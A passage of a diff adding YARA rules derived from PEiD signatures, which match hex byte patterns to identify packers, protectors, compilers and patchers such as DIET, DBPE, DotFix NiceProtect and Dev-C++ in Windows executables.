+        $a = {18 37 00 00 00 00 00 00 01 00 0A 00 00 00 18 00 00 80 00 00 00 00 ?? ?? 18 37 00 00 00 00 02 00 00 00 88 00 00 80 38 00 00 80 96 00 00 80 50 00 00 80 00 00 00 00 ?? ?? 18 37 00 00 00 00 00 00 01 00 00 00 00 00 68 00 00 00 00 00 00 00 ?? ?? 18 37 00 00 00 00 00 00 01 00 00 00 00 00 78 00 00 00 B0 F0 00 00 10 00 00 00 00 00 00 00 00 00 00 00 C0 F0 00 00 60 00 00 00 00 00 00 00 00 00 00 00 06 00 44 00 56 00 43 00 4C 00 41 00 4C 00 0B 00 50 00 41 00 43 00 4B 00 41 00 47 00 45 00 49 00 4E 00 46 00 4F 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00450_D1S1G_v1_1_Beta____Scrambled_EXE____D1N_
+{
+    meta:
+        description = "[D1S1G v1.1 Beta ++ Scrambled EXE -> D1N]"
+        ep_only = "false"
+    strings:
+        $a = {E8 07 00 00 00 E8 1E 00 00 00 C3 90 58 89 C2 89 C2 25 00 F0 FF FF 50 83 C0 55 8D 00 FF 30 8D 40 04 FF 30 52 C3 8D 40 00 55 8B EC 83 C4 E8 53 56 57 8B 4D 10 8B 45 08 89 45 F8 8B 45 0C 89 45 F4 8D 41 61 8B 38 8D 41 65 8B 00 03 C7 89 45 FC 8D 41 69 8B 00 03 C7 8D 51 6D 8B 12 03 D7 83 C1 71 8B 09 03 CF 2B CA 72 0A 41 87 D1 80 31 FF 41 4A 75 F9 89 45 F0 EB 71 8B}
+    condition:
+        $a
+}
+
+rule PEiD_00451_D1S1G_v1_1_beta_____D1N_
+{
+    meta:
+        description = "[D1S1G v1.1 beta --> D1N]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 01 00 0A 00 00 00 18 00 00 80 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 02 00 00 00 88 00 00 80 38 00 00 80 96 00 00 80 50 00 00 80 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 01 00 00 00 00 00 68 00 00 00 00 00 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 01 00 00 00 00 00 78 00 00 00 B0 ?? ?? 00 10 00 00 00 00 00 00 00 00 00 00 00 C0 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 06 00 44 00 56 00 43 00 4C 00 41 00 4C 00 0B 00 50 00 41 00 43 00 4B 00 41 00 47 00 45 00 49 00 4E 00 46 00 4F 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00452_DAEMON_Protect_v0_6_7_
+{
+    meta:
+        description = "[DAEMON Protect v0.6.7]"
+        ep_only = "true"
+    strings:
+        $a = {60 60 9C 8C C9 32 C9 E3 0C 52 0F 01 4C 24 FE 5A 83 C2 0C 8B 1A 9D 61}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00453_DalKrypt_1_0___by_DalKiT_
+{
+    meta:
+        description = "[DalKrypt 1.0 - by DalKiT]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? 58 68 ?? ?? ?? 00 5F 33 DB EB 0D 8A 14 03 80 EA 07 80 F2 04 88 14 03 43 81 FB ?? ?? ?? 00 72 EB FF E7}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00454_DalKrypt_1_0___by_DalKiT_
+{
+    meta:
+        description = "[DalKrypt 1.0 - by DalKiT]"
+        ep_only = "true"
+    strings:
+        $a = {68 00 10 40 00 58 68 ?? ?? ?? 00 5F 33 DB EB 0D 8A 14 03 80 EA 07 80 F2 04 88 14 03 43 81 FB ?? ?? ?? 00 72 EB FF E7}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00455_DBPE_v1_53_
+{
+    meta:
+        description = "[DBPE v1.53]"
+        ep_only = "true"
+    strings:
+        $a = {9C 55 57 56 52 51 53 9C FA E8 ?? ?? ?? ?? 5D 81 ED 5B 53 40 ?? B0 ?? E8 ?? ?? ?? ?? 5E 83 C6 11 B9 27 ?? ?? ?? 30 06 46 49 75 FA}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00456_DBPE_v2_10_
+{
+    meta:
+        description = "[DBPE v2.10]"
+        ep_only = "true"
+    strings:
+        $a = {9C 6A 10 73 0B EB 02 C1 51 E8 06 ?? ?? ?? C4 11 73 F7 5B CD 83 C4 04 EB 02 99 EB FF 0C 24 71 01 E8 79 E0 7A 01 75 83 C4 04 9D EB 01 75 68 5F 20 40 ?? E8 B0 EF FF FF 72 03 73 01 75 BE}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00457_DCrypt_Private_0_9b____drmist_
+{
+    meta:
+        description = "[DCrypt Private 0.9b -> drmist]"
+        ep_only = "true"
+    strings:
+        $a = {B9 ?? ?? ?? 00 E8 00 00 00 00 58 68 ?? ?? ?? 00 83 E8 0B 0F 18 00 D0 00 48 E2 FB C3}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_00458_DEF_1_0____bart_xt_
+{
+    meta:
+        description = "[DEF 1.0 -> bart/xt]"
+        ep_only = "true"
+    strings:
+        $a = {BE ?? ?? 40 00 6A ?? 59 80 7E 07 00 74 11 8B 46 0C 05 00 00 40 00 8B 56 10 30 10 40 4A 75 FA 83 C6 28 E2 E4 68 ?? ?? 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00459_DEF_1_0____bart_xt_
+{
+    meta:
+        description = "[DEF 1.0 -> bart/xt]"
+        ep_only = "true"
+    strings:
+        $a = {BE ?? ?? 40 00 6A ?? 59 80 7E 07 00 74 11 8B 46 0C 05 00 00 40 00 8B 56 10 30 10 40 4A 75 FA 83 C6 28 E2 E4 68 ?? ?? 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00460_DEF_1_00__Eng_____bart_xt_
+{
+    meta:
+        description = "[DEF 1.00 (Eng) -> bart/xt]"
+        ep_only = "false"
+    strings:
+        $a = {BE ?? 01 40 00 6A ?? 59 80 7E 07 00 74 11 8B 46 0C 05 00 00 40 00 8B 56 10 30 10 40 4A 75 FA 83 C6 28 E2 E4 68 ?? ?? 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00461_DEF_v1_00__Eng_____bart_xt_
+{
+    meta:
+        description = "[DEF v1.00 (Eng) -> bart/xt]"
+        ep_only = "true"
+    strings:
+        $a = {BE ?? 01 40 00 6A ?? 59 80 7E 07 00 74 11 8B 46 0C 05 00 00 40 00 8B 56 10 30 10 40 4A 75 FA 83 C6 28 E2 E4 68 ?? ?? 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00462_DEF_v1_0_
+{
+    meta:
+        description = "[DEF v1.0]"
+        ep_only = "true"
+    strings:
+        $a = {BE ?? 01 40 00 6A 05 59 80 7E 07 00 74 11 8B 46}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00463_DEF_v1_0_
+{
+    meta:
+        description = "[DEF v1.0]"
+        ep_only = "false"
+    strings:
+        $a = {BE ?? 01 40 00 6A ?? 59 80 7E 07 00 74 11 8B 46 0C 05 00 00 40 00 8B 56 10 30 10 40 4A 75 FA 83 C6 28 E2 E4 68 ?? 10 40 00 C3}
+    condition:
+        $a
+}
+
+rule PEiD_00464_dePACK____deNULL_
+{
+    meta:
+        description = "[dePACK -> deNULL]"
+        ep_only = "true"
+    strings:
+        $a = {EB 01 DD 60 68 00 ?? ?? ?? 68 ?? ?? 00 00 E8 ?? 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00465_Dev_C___4_9_9_2____Bloodshed_Software_
+{
+    meta:
+        description = "[Dev-C++ 4.9.9.2 -> Bloodshed Software]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 83 EC 08 C7 04 24 01 00 00 00 FF 15 ?? ?? ?? 00 E8 C8 FE FF FF 90 8D B4 26 00 00 00 00 55 89 E5 83 EC 08 C7 04 24 02 00 00 00 FF 15 ?? ?? ?? 00 E8 A8 FE FF FF 90 8D B4 26 00 00 00 00 55 8B 0D ?? ?? ?? 00 89 E5 5D FF E1 8D 74 26 00 55 8B 0D}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00466_Dev_C___v4_
+{
+    meta:
+        description = "[Dev-C++ v4]"
+        ep_only = "false"
+    strings:
+        $a = {55 89 E5 83 EC 08 83 C4 F4 6A ?? A1 ?? ?? ?? 00 FF D0 E8 ?? FF FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_00467_Dev_C___v5_
+{
+    meta:
+        description = "[Dev-C++ v5]"
+        ep_only = "false"
+    strings:
+        $a = {55 89 E5 83 EC 14 6A ?? FF 15 ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00468_DIET_v1_00__v1_00d_
+{
+    meta:
+        description = "[DIET v1.00, v1.00d]"
+        ep_only = "true"
+    strings:
+        $a = {BF ?? ?? 3B FC 72 ?? B4 4C CD 21 BE ?? ?? B9 ?? ?? FD F3 A5 FC}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00469_DIET_v1_00d_
+{
+    meta:
+        description = "[DIET v1.00d]"
+        ep_only = "true"
+    strings:
+        $a = {FC 06 1E 0E 8C C8 01 ?? ?? ?? BA ?? ?? 03 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00470_DIET_v1_02b__v1_10a__v1_20_
+{
+    meta:
+        description = "[DIET v1.02b, v1.10a, v1.20]"
+        ep_only = "true"
+    strings:
+        $a = {BE ?? ?? BF ?? ?? B9 ?? ?? 3B FC 72 ?? B4 4C CD 21 FD F3 A5 FC}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00471_DIET_v1_44__v1_45f_
+{
+    meta:
+        description = "[DIET v1.44, v1.45f]"
+        ep_only = "true"
+    strings:
+        $a = {F8 9C 06 1E 57 56 52 51 53 50 0E FC 8C C8 BA ?? ?? 03 D0 52}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00472_Ding_Boy_s_PE_lock_Phantasm_v0_8_
+{
+    meta:
+        description = "[Ding Boy's PE-lock Phantasm v0.8]"
+        ep_only = "true"
+    strings:
+        $a = {55 57 56 52 51 53 E8 00 00 00 00 5D 8B D5 81 ED 0D 39 40 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00473_Ding_Boy_s_PE_lock_Phantasm_v1_0___v1_1_
+{
+    meta:
+        description = "[Ding Boy's PE-lock Phantasm v1.0 / v1.1]"
+        ep_only = "true"
+    strings:
+        $a = {55 57 56 52 51 53 66 81 C3 EB 02 EB FC 66 81 C3 EB 02 EB FC}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_00474_Ding_Boy_s_PE_lock_Phantasm_v1_5b3_
+{
+    meta:
+        description = "[Ding Boy's PE-lock Phantasm v1.5b3]"
+        ep_only = "true"
+    strings:
+        $a = {9C 55 57 56 52 51 53 9C FA E8 00 00 00 00 5D 81 ED 5B 53 40 00 B0}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00475_Ding_Boy_s_PE_lock_v0_07_
+{
+    meta:
+        description = "[Ding Boy's PE-lock v0.07]"
+        ep_only = "true"
+    strings:
+        $a = {55 57 56 52 51 53 E8 00 00 00 00 5D 8B D5 81 ED 23 35 40 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00476_diPacker_1_x____diProtector_Software_
+{
+    meta:
+        description = "[diPacker 1.x -> diProtector Software]"
+        ep_only = "true"
+    strings:
+        $a = {0F 00 2D E9 01 00 A0 E3 68 01 00 EB 8C 00 00 EB 2B 00 00 EB 00 00 20 E0 1C 10 8F E2 8E 20 8F E2 00 30 A0 E3 67 01 00 EB 0F 00 BD E8 00 C0 8F E2 00 F0 9C E5}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00477_diProtector_1_x____diProtector_Software_
+{
+    meta:
+        description = "[diProtector 1.x -> diProtector Software]"
+        ep_only = "true"
+    strings:
+        $a = {01 00 A0 E3 14 00 00 EB 00 00 20 E0 44 10 9F E5 03 2A A0 E3 40 30 A0 E3 AE 00 00 EB 30 00 8F E5 00 20 A0 E1 3A 0E 8F E2 00 00 80 E2 1C 10 9F E5 20 30 8F E2 0E 00 00 EB 14 00 9F E5 14 10 9F E5 7F 20 A0 E3 C5 00 00 EB 04 C0 8F E2 00 F0 9C E5}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00478_DiskDupe__c__MSD_Configuration_file_
+{
+    meta:
+        description = "[DiskDupe (c) MSD Configuration file]"
+        ep_only = "false"
+    strings:
+        $a = {4D 53 44 20 44 61 74 61 20 56 65 72 73}
+    condition:
+        $a
+}
+
+rule PEiD_00479_DiskDupe__c__MSD_Users_file_
+{
+    meta:
+        description = "[DiskDupe (c) MSD Users file]"
+        ep_only = "false"
+    strings:
+        $a = {4D 53 44 20 55 73 65 72 73 20 56 65 72 73 69 6F 6E}
+    condition:
+        $a
+}
+
+rule PEiD_00480_DJoin_v0_7_public__RC4_encryption_____drmist_
+{
+    meta:
+        description = "[DJoin v0.7 public (RC4 encryption) -> drmist]"
+        ep_only = "true"
+    strings:
+        $a = {C6 05 ?? ?? 40 00 00 C6 05 ?? ?? 40 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00481_DJoin_v0_7_public__xor_encryption_____drmist_
+{
+    meta:
+        description = "[DJoin v0.7 public (xor encryption) -> drmist]"
+        ep_only = "true"
+    strings:
+        $a = {C6 05 ?? ?? 40 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00482_DOS_16M_DOS_Extender__c__Tenberry_Software_Inc_1987_1995_
+{
+    meta:
+        description = "[DOS/16M DOS Extender (c) Tenberry Software Inc 1987-1995]"
+        ep_only = "true"
+    strings:
+        $a = {BF ?? ?? 8E C7 8E D7 BC ?? ?? 36 ?? ?? ?? ?? FF ?? ?? ?? 36 ?? ?? ?? ?? BE ?? ?? AC 8A D8 B7 00 ?? ?? 8B ?? ?? ?? 4F 8E C7}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00483_DOS32_v_3_3_DOS_Extender_and_Loader_
+{
+    meta:
+        description = "[DOS32 v.3.3 DOS-Extender and Loader]"
+        ep_only = "true"
+    strings:
+        $a = {0E 1F FC 9C 5B 8B C3 80 F4 ?? 50 9D 9C 58 3A E7 75 ?? BA ?? ?? B4 09 CD 21 B4 4C CD 21}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00484_DotFix_Nice_Protect_2_1____GPcH_Soft_
+{
+    meta:
+        description = "[DotFix Nice Protect 2.1 -> GPcH Soft]"
+        ep_only = "true"
+    strings:
+        $a = {E9 FF 00 00 00 60 8B 74 24 24 8B 7C 24 28 FC B2 80 33 DB A4 B3 02 E8 6D 00 00 00 73 F6 33 C9 E8 64 00 00 00 73 1C 33 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 12 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 2B CB 75 10 E8 42 00 00 00 EB 28 AC D1 E8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00485_DotFix_Nice_Protect_V2_1____GPcH_Soft___Sign_By_haggar_
+{
+    meta:
+        description = "[DotFix Nice Protect V2.1 -> GPcH Soft * Sign.By.haggar]"
+        ep_only = "false"
+    strings:
+        $a = {E9 FF 00 00 00 60 8B 74 24 24 8B 7C 24 28 FC B2 80 33 DB A4 B3 02 E8 6D 00 00 00 73 F6 33 C9 E8 64 00 00 00 73 1C 33 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 12 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 2B CB 75 10 E8 42 00 00 00 EB 28 AC D1 E8 74 4D 13 C9 EB 1C 91 48 C1 E0 08 AC E8 2C 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B3 01 56 8B F7 2B F0 F3 A4 5E EB 8E 02 D2 75 05 8A 16 46 12 D2 C3 33 C9 41 E8 EE FF FF FF 13 C9 E8 E7 FF FF FF 72 F2 C3 2B 7C 24 28 89 7C 24 1C 61 C3 60 B8 ?? ?? ?? ?? 03 C5 50 B8 ?? ?? ?? ?? 03 C5 FF 10 BB ?? ?? ?? ?? 03 DD 83 C3 0C 53 50 B8 ?? ?? ?? ?? 03 C5 FF 10 6A 40 68 00 10 00 00 FF 74 24 2C 6A 00 FF D0 89 44 24 1C 61 C3}
+    condition:
+        $a
+}
+
+rule PEiD_00486_DotFix_NiceProtect_vna_
+{
+    meta:
+        description = "[DotFix NiceProtect vna]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 55 00 00 00 8D BD 00 10 40 00 68 ?? ?? ?? 00 03 3C 24 8B F7 90 68 31 10 40 00 9B DB E3 55 DB 04 24 8B C7 DB 44 24 04 DE C1 DB 1C 24 8B 1C 24 66 AD 51 DB 04 24 90 90 DA 8D 77 10 40 00 DB 1C 24 D1 E1 29}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00487_Dr_Web_Virus_Finding_Engine____InSoft_EDV_Systeme_
+{
+    meta:
+        description = "[Dr.Web Virus-Finding Engine -> InSoft EDV-Systeme]"
+        ep_only = "true"
+    strings:
+        $a = {B8 01 00 00 00 C2 0C 00 8D 80 00 00 00 00 8B D2 8B ?? 24 04}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00488_DragonArmor____Orient_
+{
+    meta:
+        description = "[DragonArmor -> Orient]"
+        ep_only = "true"
+    strings:
+        $a = {BF 4C ?? ?? 00 83 C9 FF 33 C0 68 34 ?? ?? 00 F2 AE F7 D1 49 51 68 4C ?? ?? 00 E8 11 0A 00 00 83 C4 0C 68 4C ?? ?? 00 FF 15 00 ?? ?? 00 8B F0 BF 4C ?? ?? 00 83 C9 FF 33 C0 F2 AE F7 D1 49 BF 4C ?? ?? 00 8B D1 68 34 ?? ?? 00 C1 E9 02 F3 AB 8B CA 83 E1 03 F3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00489_DragonArmor____Orient_
+{
+    meta:
+        description = "[DragonArmor -> Orient]"
+        ep_only = "true"
+    strings:
+        $a = {BF 4C ?? ?? 00 83 C9 FF 33 C0 68 34 ?? ?? 00 F2 AE F7 D1 49 51 68 4C ?? ?? 00 E8 11 0A 00 00 83 C4 0C 68 4C ?? ?? 00 FF 15 00 ?? ?? 00 8B F0 BF 4C ?? ?? 00 83 C9 FF 33 C0 F2 AE F7 D1 49 BF 4C ?? ?? 00 8B D1 68 34 ?? ?? 00 C1 E9 02 F3 AB 8B CA 83 E1 03 F3 AA BF 5C ?? ?? 00 83 C9 FF 33 C0 F2 AE F7 D1 49 51 68 5C ?? ?? 00 E8 C0 09 00 00 8B 1D 04 ?? ?? 00 83 C4 0C 68 5C ?? ?? 00 56 FF D3 A3 D4 ?? ?? 00 BF 5C ?? ?? 00 83 C9 FF 33 C0 F2 AE F7 D1 49 BF 5C ?? ?? 00 8B D1 68 34 ?? ?? 00 C1 E9 02 F3 AB 8B CA 83 E1}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00490_Dropper_Creator_V0_1____Conflict_
+{
+    meta:
+        description = "[Dropper Creator V0.1 -> Conflict]"
+        ep_only = "false"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 8D 05 ?? ?? ?? ?? 29 C5 8D 85 ?? ?? ?? ?? 31 C0 64 03 40 30 78 0C 8B 40 0C 8B 70 1C AD 8B 40 08 EB 09}
+    condition:
+        $a
+}
+
+rule PEiD_00491_DSHIELD_
+{
+    meta:
+        description = "[DSHIELD]"
+        ep_only = "true"
+    strings:
+        $a = {06 E8 ?? ?? 5E 83 EE ?? 16 17 9C 58 B9 ?? ?? 25 ?? ?? 2E}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00492_Dual_s_Cryptor____dual_
+{
+    meta:
+        description = "[Dual's Cryptor -> dual]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 81 EC 00 05 00 00 E8 00 00 00 00 5D 81 ED 0E}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00493_Dual_s_eXe_1_0_
+{
+    meta:
+        description = "[Dual's eXe 1.0]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 81 EC 00 05 00 00 E8 00 00 00 00 5D 81 ED 0E 00 00 00 8D 85 08 03 00 00 89 28 33 FF 8D 85 7D 02 00 00 8D 8D 08 03 00 00 2B C8 8B 9D 58 03 00 00 E8 1C 02 00 00 8D 9D 61 02 00 00 8D B5 7C 02 00 00 46 80 3E 00 74 24 56 FF 95 0A 04 00 00 46 80 3E 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00494_Dual_s_eXe_1_0_
+{
+    meta:
+        description = "[Dual's eXe 1.0]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 81 EC 00 05 00 00 E8 00 00 00 00 5D 81 ED 0E 00 00 00 8D 85 08 03 00 00 89 28 33 FF 8D 85 7D 02 00 00 8D 8D 08 03 00 00 2B C8 8B 9D 58 03 00 00 E8 1C 02 00 00 8D 9D 61 02 00 00 8D B5 7C 02 00 00 46 80 3E 00 74 24 56 FF 95 0A 04 00 00 46 80 3E 00 75 FA 46 80 3E 00 74 E7 50 56 50 FF 95 0E 04 00 00 89 03 58 83 C3 04 EB E3 8D 85 24 03 00 00 50 68 1F 00 02 00 6A 00 8D 85 48 03 00 00 50 68 01 00 00 80 FF 95 69 02 00 00 83 BD 24 03 00 00 00 0F 84 8B 00 00 00 C7 85 28 03 00 00 04 00 00 00 8D 85 28 03 00 00 50 8D 85 20 03 00 00 50 8D 85 6C 03 00 00 50 6A 00 8D 85 62 03 00 00 50 FF B5 24 03 00 00 FF 95 71 02 00 00 83 BD 20 03 00 00 01 7E 02 EB 20 6A 40 8D 85 73 03 00 00 50 8D 85 82 03 00 00 50 6A 00 FF 95 61 02 00 00 6A 00 FF 95 65 02 00 00 FF 8D 20 03 00 00 FF}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00495_Dual_s_eXe_Encryptor_1_0b____Dual_
+{
+    meta:
+        description = "[Dual's eXe Encryptor 1.0b -> Dual]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 81 EC 00 05 00 00 E8 00 00 00 00 5D 81 ED 0E 00 00 00 8D 85 3A 04 00 00 89 28 33 FF 8D 85 80 03 00 00 8D 8D 3A 04 00 00 2B C8 8B 9D 8A 04 00 00 E8 24 02 00 00 8D 9D 58 03 00 00 8D B5 7F 03 00 00 46 80 3E 00 74 24 56 FF 95 58 05 00 00 46 80 3E 00 75 FA 46 80 3E 00 74 E7 50 56 50 FF 95 5C 05 00 00 89 03 58 83 C3 04 EB E3 8D 85 69 02 00 00 FF D0 8D 85 56 04 00 00 50 68 1F 00 02 00 6A 00 8D 85 7A 04 00 00 50}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_00496_dUP_2_x_Patcher____www_diablo2oo2_cjb_net_
+{
+    meta:
+        description = "[dUP 2.x Patcher -> www.diablo2oo2.cjb.net]"
+        ep_only = "false"
+    strings:
+        $a = {8B CB 85 C9 74 ?? 80 3A 01 74 08 AC AE 75 0A 42 49 EB EF 47 46 42 49 EB E9}
+    condition:
+        $a
+}
+
+rule PEiD_00497_dUP_v2_x_Patcher_____www_diablo2oo2_cjb_net_
+{
+    meta:
+        description = "[dUP v2.x Patcher --> www.diablo2oo2.cjb.net]"
+        ep_only = "false"
+    strings:
+        $a = {54 68 69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F 74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20 6D 6F}
+    condition:
+        $a
+}
+
+rule PEiD_00498_dUP2____diablo2oo2_
+{
+    meta:
+        description = "[dUP2 -> diablo2oo2]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 6A 00 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? A2 ?? ?? ?? ?? 6A 00 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? A2 ?? ?? ?? ?? 6A 00 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? A2 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 3C 01 75}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00499_dUP2____diablo2oo2_
+{
+    meta:
+        description = "[dUP2 -> diablo2oo2]"
+        ep_only = "true"
+    strings:
+        $a = {E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 6A 00 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? A2 ?? ?? ?? ?? 6A 00 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? A2 ?? ?? ?? ?? 6A 00 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? A2 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 3C 01 75 19 BE ?? ?? ?? ?? 68 00 02 00 00 56 68}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00500_DxPack_1_0_
+{
+    meta:
+        description = "[DxPack 1.0]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 ?? ?? ?? ?? 5D 8B FD 81 ED ?? ?? ?? ?? 2B B9 ?? ?? ?? ?? 81 EF ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 84}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00501_DxPack_V0_86____Dxd_
+{
+    meta:
+        description = "[DxPack V0.86 -> Dxd]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 8B FD 81 ED 06 10 40 00 2B BD 94 12 40 00 81 EF 06 00 00 00 83 BD 14 13 40 00 01 0F 84 2F 01 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00502_DzA_Patcher_1_3_Loader_
+{
+    meta:
+        description = "[DzA Patcher 1.3 Loader]"
+        ep_only = "false"
+    strings:
+        $a = {BF 00 40 40 00 99 68 48 20 40 00 68 00 20 40 00 52 52 52 52 52 52 52 57 E8 15 01 00 00 85 C0 75 1C 99 52 52 57 52 E8 CB 00 00 00 FF 35 4C 20 40 00 E8 D2 00 00 00 6A 00 E8 BF 00 00 00 99 68 58 20 40 00 52 52 68 63 10 40 00 52 52 E8 DB 00 00 00 6A FF FF 35}
+    condition:
+        $a
+}
+
+rule PEiD_00503_DZA_Patcher_v1_3____DZA_
+{
+    meta:
+        description = "[DZA Patcher v1.3 -> DZA]"
+        ep_only = "true"
+    strings:
+        $a = {EB 08 35 48 34 30 4C 31 4E 00 60 E8 00 00 00 00 5D 8B D5 81 ED 44 73 40 00 2B 95 74 74 40 00 83 EA 10 89 95 70 74 40 00 8B 44 24 20 25 00 00 FF FF 80 38 4D 74 07 2D 00 00 01 00 EB F4 93 89 85 7C 74 40 00 8D BD 8C 74 40 00 E8 83 00 00 00 89 85 80 74 40 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_00504_DZA_Patcher_v1_3____DZA_
+{
+    meta:
+        description = "[DZA Patcher v1.3 -> DZA]"
+        ep_only = "true"
+    strings:
